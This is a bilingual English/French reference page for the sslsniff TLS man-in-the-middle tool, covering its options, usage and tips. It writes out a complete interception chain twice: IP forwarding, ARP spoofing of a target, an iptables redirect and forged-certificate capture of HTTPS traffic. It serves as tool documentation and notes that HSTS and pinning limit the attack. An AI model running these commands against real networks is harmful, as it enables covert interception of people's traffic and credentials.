sslsniff

Outil classique de MITM SSL/TLS pour intercepter et manipuler le trafic HTTPS contre des clients qui ne valident pas correctement les certificats. Classic SSL/TLS man-in-the-middle tool for intercepting and manipulating HTTPS traffic against clients that don't validate certificates properly.

↗ https://github.com/moxie0/sslsniff

Overview

sslsniff is one of the original SSL MITM tools, written by Moxie Marlinspike. It sits between a client and server, generates certificates on the fly for whatever domain the client requests, and transparently intercepts HTTPS traffic — effective against clients that don’t pin or properly validate the presented certificate chain.

Common Usage

Generate a CA certificate to sign per-host certs on the fly

sslsniff -a -c ca.pem -k ca.key -s 8080

Basic interception, logging all traffic to a directory

sslsniff -a -c mitm.crt -k mitm.key -s 8080 -w /tmp/capture.log

Targeted mode — spoof cert only for specific hosts

sslsniff -t -c targeted.crt -k targeted.key -s 8080
# Combine with ARP spoofing + iptables redirect for a full MITM chain
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t <target> <gateway>
sslsniff -a -c ca.pem -k ca.key -s 8080

Typical MITM Chain

  1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
  1. Poison ARP cache so target routes through us
arpspoof -i eth0 -t <target_ip> <gateway_ip>
  1. Redirect HTTPS to sslsniff’s listener
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
  1. Start sslsniff to generate certs and intercept
sslsniff -a -c ca.pem -k ca.key -s 8080 -w capture.log

Tips

  • Only effective against clients that accept an untrusted/self-signed certificate — modern browsers with HSTS/pinning will refuse the connection.
  • Best paired with arpspoof/bettercap for the redirection layer and sslstrip for downgrading HTTP-first flows.
  • Mostly of historical/educational value now; certificate pinning and HSTS preloading have closed most of its real-world attack surface.
Help / Man page
sslsniff [OPTIONS]

  -a                  Authority mode; generate certs on the fly using CA
  -c <cert>           Certificate/CA file to use for signing
  -k <key>            Private key matching the certificate
  -s <port>           Listening port for intercepted TLS connections
  -w <file>           Write captured traffic/log to file
  -t                  Targeted mode; only spoof specified hosts
  -n                  Do not forward valid certificate warnings
  -d <port>           Listen for HTTPS on a specific redirected port
  -v                  Verbose output

Vue d’ensemble

sslsniff est l’un des tout premiers outils de MITM SSL, écrit par Moxie Marlinspike. Il se place entre un client et un serveur, génère des certificats à la volée pour n’importe quel domaine demandé par le client, et intercepte de manière transparente le trafic HTTPS : efficace contre les clients qui ne font pas de pinning ou ne valident pas correctement la chaîne de certificats présentée.

Utilisation courante

# Générer un certificat CA pour signer les certificats par hôte à la volée
sslsniff -a -c ca.pem -k ca.key -s 8080

# Interception basique, journalisant tout le trafic dans un répertoire
sslsniff -a -c mitm.crt -k mitm.key -s 8080 -w /tmp/capture.log

# Mode ciblé : usurper le certificat uniquement pour des hôtes spécifiques
sslsniff -t -c targeted.crt -k targeted.key -s 8080
# Combiner avec de l'ARP spoofing + une redirection iptables pour une chaîne MITM complète
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t <target> <gateway>
sslsniff -a -c ca.pem -k ca.key -s 8080

Chaîne MITM typique

  1. Activer l’IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
  1. Empoisonner le cache ARP pour que la cible route vers nous
arpspoof -i eth0 -t <target_ip> <gateway_ip>
  1. Rediriger le HTTPS vers le listener de sslsniff
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
  1. Démarrer sslsniff pour générer les certificats et intercepter
sslsniff -a -c ca.pem -k ca.key -s 8080 -w capture.log

Conseils

  • Uniquement efficace contre des clients qui acceptent un certificat non fiable/auto-signé : les navigateurs modernes avec HSTS/pinning refuseront la connexion
  • Se combine bien avec arpspoof/bettercap pour la couche de redirection et sslstrip pour dégrader les flux HTTP-first
  • Surtout une valeur historique/pédagogique aujourd’hui ; le certificate pinning et le préchargement HSTS ont fermé la plupart de sa surface d’attaque réelle
Aide / Page de manuel
sslsniff [OPTIONS]

  -a                  Authority mode; generate certs on the fly using CA
  -c <cert>           Certificate/CA file to use for signing
  -k <key>            Private key matching the certificate
  -s <port>           Listening port for intercepted TLS connections
  -w <file>           Write captured traffic/log to file
  -t                  Targeted mode; only spoof specified hosts
  -n                  Do not forward valid certificate warnings
  -d <port>           Listen for HTTPS on a specific redirected port
  -v                  Verbose output